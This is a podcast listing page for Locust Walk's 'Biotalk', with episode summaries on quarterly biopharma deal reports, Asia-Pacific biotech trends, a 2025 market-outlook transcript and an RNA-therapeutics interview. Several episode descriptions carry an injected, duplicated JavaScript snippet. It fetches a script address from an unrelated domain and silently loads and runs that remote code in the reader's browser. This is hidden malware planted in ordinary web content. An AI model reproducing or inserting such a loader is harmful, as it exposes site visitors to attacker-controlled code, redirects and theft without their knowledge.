Biotalk

Biotalk
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Welcome to Biotalk, Locust Walk’s podcast for biotech deal makers and innovators.

  1. OCT 20

    Episode 31: Asia’s 2025 Q3 Report: Global Trends in Biopharma Transactions

    During Episode 31 of Biotalk, Geoff Meyerson, CEO of Locust Walk, explores Asia-Pacific biotech momentum across China, Japan, and Korea, as featured in our 2025 Q3 Report: Global Trends in Biopharma Transactions Report. China: Led globally in licensing ($34.2B, 48% share), with venture financing up nearly 4x. Investor confidence rose alongside strong public market gains and creative deal structures. Japan: Shifted toward early-stage, non-core areas like dermatology and metabolic disease. Licensing values fell, but venture funding spiked 300% as the Nikkei hit record highs. Korea: Normalized after Q2 strength; modest licensing and market gains amid continued caution. Regional Takeaway: Asia-Pacific remains a bright spot—China driving deal value, Japan diversifying early innovation, and Korea stabilizing. The region reflects a measured but sustained re-engagement in biotech capital and partnerships. Listen now to gain insights into the evolving global biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you.

    5 min

  2. OCT 20

    Biotalk Episode 30: 2025 Q3 Report: Global Trends in Biopharma Transactions

    During Episode 30 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Q3 Report: Global Trends in Biopharma Transactions Report, covering capital markets, strategic deals, and regional trends.  Market Overview: Q3 signaled a cautious biotech recovery. Valuations rebounded, the XBI topped 100 for the first time since 2022, and the number of companies trading below cash hit multi-year lows. Investor sentiment shifted from survival to selective growth amid improving macro stability and risk tolerance. Strategic Transactions: Licensing held steady with renewed interest in early-stage programs and back-loaded structures (upfronts 5%). Non-oncology deal value hit a four-year high, while M&A surged 64%, driven by late-stage assets—highlighted by Pfizer’s $4.9B Metsera and Merck’s $10B Verona Pharma acquisitions. Capital Markets: Financing activity rose ~40% from Q2 as the IPO window reopened and follow-ons jumped 81%. The XBI and NBI rallied, signaling renewed investor confidence. Europe saw more deals but smaller rounds, underscoring ongoing selectivity. Outlook: A selective recovery is underway. Strategic dealmaking and M&A remain strong, capital markets are thawing, and quality assets continue to attract capital. Biotechs should stay agile and ready for partnerships or non-dilutive funding.

    13 min

  3. JUL 23

    Episode 29: Asia’s 2025 Q2 Report: Global Trends in Biopharma Transactions

    During the Asia-focused Episode 29 of Biotalk, Geoff shares insights into key trends and developments shaping the biotech landscapes in Japan, China, Korea, Australia, and the broader Asia-Pacific region, as featured in our 2025 Q2 Report: Global Trends in Biopharma Transactions Report. Japan’s biotech stocks outperformed broader indices, boosted by regulatory reforms and Shionogi’s $1.1B acquisition of Japan Tobacco’s pharma units. Licensing slowed, while early-stage financings focused on preclinical firms. China’s biotech market surged with four HKEX IPOs raising $1.5B. Venture funding fell as risk aversion grew, but strategic licensing stayed strong at $24.4B, shifting toward later-stage oncology and obesity deals. Korea’s biotech index dipped but showed 12-month gains, driven by ABL Bio’s $2.8B licensing deal with GSK and key Series B financings. Listen now to gain insights into the evolving global biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you.  (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    8 min

  4. JUL 23

    Biotalk Episode 28: 2025 Q2 Report: Global Trends in Biopharma Transactions

    During Episode 28 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Q2 Report: Global Trends in Biopharma Transactions Report, covering capital markets, strategic deals, and regional trends.  Market Overview: Biotech remained under pressure in Q2, with valuations still below historical norms. Ongoing macro headwinds—tariffs, high rates, and FDA turnover—kept investor sentiment cautious and risk appetite low. M&A & Licensing: Licensing rose 20% in value, focused on late-stage immunology assets. China and Europe drove activity, while U.S. firms dominated M&A, accounting for 80% of deal value. Public takeout premiums rebounded sharply. Capital Markets: U.S. biotech funding fell 28% with no IPOs—the first blank quarter since 2020. Venture also dropped 32%, though a few large late-stage rounds stood out. Europe saw fewer deals but larger average round sizes. Outlook: Strategic deals remain a vital funding source as capital markets stay tight. Biotechs should extend runway and explore partnerships, with pharma interest in quality assets showing no signs of slowing. Listen now to gain insights into the evolving biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you. (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    17 min

  5. MAY 7

    Episode 27: Inside the Biopharma Market: 2025 Outlook & Emerging Trends

    During Episode 27 of Biotalk, Geoff Meyerson, CEO of Locust Walk, steps back to examine the macro forces shaping the biopharma landscape. After holding a bearish outlook since 2021, Geoff explains why he's finally shifting his stance and what could signal a true turnaround for biotech. He unpacks the “big three” market headwinds—regulatory hurdles from the IRA, FTC deal scrutiny, and high interest rates—and outlines how recent shifts, including rate cuts, new FTC leadership, and potential IRA reform, could spark renewed momentum, especially in M&A and rare diseases. Geoff also highlights previously underappreciated risks like HHS cuts and aggressive tariffs, which could stall progress if unresolved. With a balanced, apolitical lens, this episode offers candid insights into why policy matters for biotech investors, operators, and dealmakers—and what to watch for as 2025 unfolds. Tune in to understand the key inflection points and why Geoff sees the second half of 2025 as a potential breakout period for the industry. Full Transcript: Welcome to Biotalk. My name is Geoff Meyerson, CEO and Co-founder of Locust Walk, and you are listening to Biotalk, our podcast for biotech deal makers. In this episode, I want to zoom out and talk about the bigger picture — what's really driving the biotech market right now. In almost every meeting the past few months I have been asked my views on the market.  I decided that I am going to share my thoughts publicly. I fancy myself to be a free market limited government champion across all aspects of life. I do not comment politically nor believe it is my job to criticize or promote any politician or party. That said, the macro policies enacted by both parties directly impact the biopharma industry, and I believe it’s important to analyze and comment on areas related to the life science industry. For all other issues, I subscribe to the University of Chicago’s institutional neutrality, and it is my (and Locust Walk’s) policy to not comment publicly. First a recap of why I was bearish starting fall 2021 when Locust Walk ran a webinar titled “Has Biotech Peaked”. Throughout 2022, 2023, and until September 2024, despite many market analysts predicting a turnaround, I maintained my bearishness because the 3 underlying headwinds that started blowing hadn’t stopped or reversed, namely: Regulatory headwinds because of the IRA Transaction headwinds from an openly hostile FTC Monetary headwinds via high interest rates caused by high inflation Until these 3 drivers reversed, I didn’t believe the market would improve beyond incremental changes. When in September 2024 the US Federal Reserve dropped rates by 50 bps, the rate tightening cycle had not only stopped but reversed. My changing perspective was independent of the pending election since the largest factor interest rates was starting to shift. In January 2025, Lina Khan exited the FTC and a new era of antitrust enforcement began. While far from perfect, it has been markedly more pro-business with a much less aggressive effort to block transactions. Locust Walk’s Quarterly Market conditions detailed a 47% uptick in M&A by value and 35% by volume showing signs of life in this market even though I didn’t anticipate any material improvement until 2H25 because it takes time for deals to come to fruition after the changeover in policy. I predicted M&A had the potential to transform the industry this year after years of suppression. I stand by this prediction and for everyone’s sake I hope I’m right. The IRA pill fix is being discussed and because President Trump has come out in support, some form of it is likely to make its way into the reconciliation package of tax and regulatory cuts. I hope small molecules move to 13 years of exclusivity but bigger price discounts thereafter to remain budget neutral rather than meeting in the middle at 11 years, which I think would be quite problematic.

    8 min

  6. APR 16

    Biotalk Episode 25: 2025 Q1 Report: Global Trends in Biopharma Transactions

    During Episode 25 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Q1 Report: Global Trends in Biopharma Transactions Report, covering capital markets, strategic deals, and regional trends. Market Overview: The XBI fell 14% YoY, underperforming the NBI. Biotech weakness stemmed from tariff fears, FDA turnover, and HHS layoffs—pressuring small caps. Capital Markets: Capital raised dropped 33% from Q4. IPOs briefly reopened—large caps gained, small caps declined. Follow-ons fell 60%. PIPEs were weak, except Immunovant’s $450M. Venture: Slight dip from Q4 but ahead of all 2023 quarters. Late-stage rounds led, with 11 mega-rounds (Eikon $351M, Kardigan $300M) making up over half the total. M&A & Licensing: M&A hit $25.2B across 13 deals, focused on Ph2+ assets (e.g., J&J/Intra-Cellular). Licensing stayed strong, favoring clinical-stage programs. Europe: Strategic deal value reached $13B, led by Zealand-Roche and Gubra-AbbVie. Venture hit $1.2B—90% in Series A rounds like Verdiva ($411M) and Windward ($200M). Outlook: Regulatory uncertainty and rates may delay M&A, though late-stage and commercial deals could gain momentum. Listen now to gain insights into the evolving biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you. (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    13 min

  7. JAN 28

    Biotalk Episode 24: Asia’s 2024 Year-In-Review

    During this episode of Biotalk, Geoff Meyerson, CEO of Locust Walk, explores the evolving biotech landscapes in Japan and China, highlighting key trends and developments shaping the region as featured in our 2024 Year-In-Review Report: Global Trends in Biopharma Transactions Report. Geoff leverages extensive conversations with strategics and investors worldwide to provide insights into global biotech deal-making. Key topics include: Japan’s Recovery in 2024: A rebound in licensing activity reached $2.1B in Q4, driven by preclinical and small molecule deals. Venture financing grew 20%, with Series C and D rounds leading the charge. China’s Strategic Transactions: Licensing deal value surged to $47B, driven by out-licensing, regulatory improvements, and NewCo formations. US investors are highly valued, with reverse mergers and IPOs becoming popular strategies for accessing US capital markets. Key Themes: Japan’s focus on in-licensing signals interest in earlier-stage innovation, while China’s “fallen angel” assets provide US companies with cost-effective opportunities. Looking ahead to 2025, Geoff discusses how stabilization in Japan and China’s growing innovation will shape global biotech, despite regulatory and geopolitical challenges. Subscribe or follow Biotalk on Apple Podcasts | Spotify.    (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    12 min

  8. 12/13/2024

    Biotalk Episode 22: A Conversation with Sudhir Agrawal of ARNAY Sciences

    On this episode of Biotalk, Geoff Meyerson, CEO and Co-founder of Locust Walk, speaks with Sudhir Agrawal, Founder and President of ARNAY Sciences and a pioneer in RNA therapeutics. Sudhir’s extensive career spans over three decades, during which he has made groundbreaking contributions to the field, including developing gapmer antisense technology, immune modulation approaches, and, in recent years, designing cyclic structures of DNA and RNA for therapeutic applications. In their conversation, Sudhir recounts his journey from his early days in nucleic acid research to becoming a leading innovator in RNA therapeutics. He delves into the origins of the gapmer technology, its impact on antisense drug development, and the lessons learned from his time Idera Pharmaceuticals. He also shares insights into his latest work on cyclic RNA/DNA structures and discusses his vision for the future of nucleic acid therapeutics. He concludes by offering practical advice to entrepreneurs aspiring to break into the biotech space and sharing his thoughts on the future of RNA science. Join us for a deep dive into the world of RNA therapeutics with one of its most influential figures.Subscribe or follow Biotalk on Apple Podcasts | Spotify. Timestamps: 1:34 What inspired you to focus specifically on RNA therapeutics, and how did your whole journey here begin?  3:04 Can you provide more details about the initial insight behind the development of the gapmer technology, which has been transformational for the space?  5:34 What lessons did you learn from your experience at Ionis (formerly Isis) that you would apply to your current work?  13:54 How are you thinking about commercializing the cyclic RNA/DNA structures you have developed at your company RNA Sciences?  23:40 Beyond the cyclic structures, what other innovations or areas of focus do you see on the horizon for nucleic acid therapeutics?  23:23 What advice would you give your early self starting out as an entrepreneur and innovator in the biotech space?  (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    30 min
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About

Welcome to Biotalk, Locust Walk’s podcast for biotech deal makers and innovators.

Information

  • Creator
    Biotalk
  • Years Active
    2024 - 2025
  • Episodes
    16
  • Rating
    Clean
  • Show Website
    Biotalk

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